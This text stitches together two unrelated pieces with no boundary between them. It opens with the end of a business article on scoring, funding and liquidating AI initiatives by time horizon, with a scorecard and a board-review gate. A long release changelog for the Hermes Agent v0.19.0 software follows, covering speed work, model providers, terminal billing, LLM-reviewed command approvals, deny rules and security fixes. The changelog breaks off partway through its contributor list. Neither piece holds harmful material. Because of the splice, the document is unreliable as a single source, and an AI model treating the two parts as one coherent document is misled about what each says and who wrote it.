THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED

Evaluation criterion	0	1	2
Horizon assigned (H1 / H2 / H3) and documented before funding
Success metric matched to the horizon, not a default quarterly ROI
Kill line set: Named milestone and date, agreed at funding
Owner named with explicit authority to stop the initiative
Fits a deliberate allocation band, not an accidental addition
Odds-raising path documented: Buy or partner and an integration plan

Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND | 5 to 8 = CONDITIONAL | 9 to 12 = FUND.

THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING

Review test	Status
Milestone for this horizon met or credibly on track	PASS / FAIL
Burn within plan to the next milestone	PASS / FAIL
Still fits the allocation band, with no quiet horizon drift	PASS / FAIL
Owner confirms continued strategic fit	PASS / FAIL

Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.

The cost of the timing error

The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.

The governance return the board has been waiting for

Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.

The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release

Mon, 20 Jul 2026 20:46:40 +0200

Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)
The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)
Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)
Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)
Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)
Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)
A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)
One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)
New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)
Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)
Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)
Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm — leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
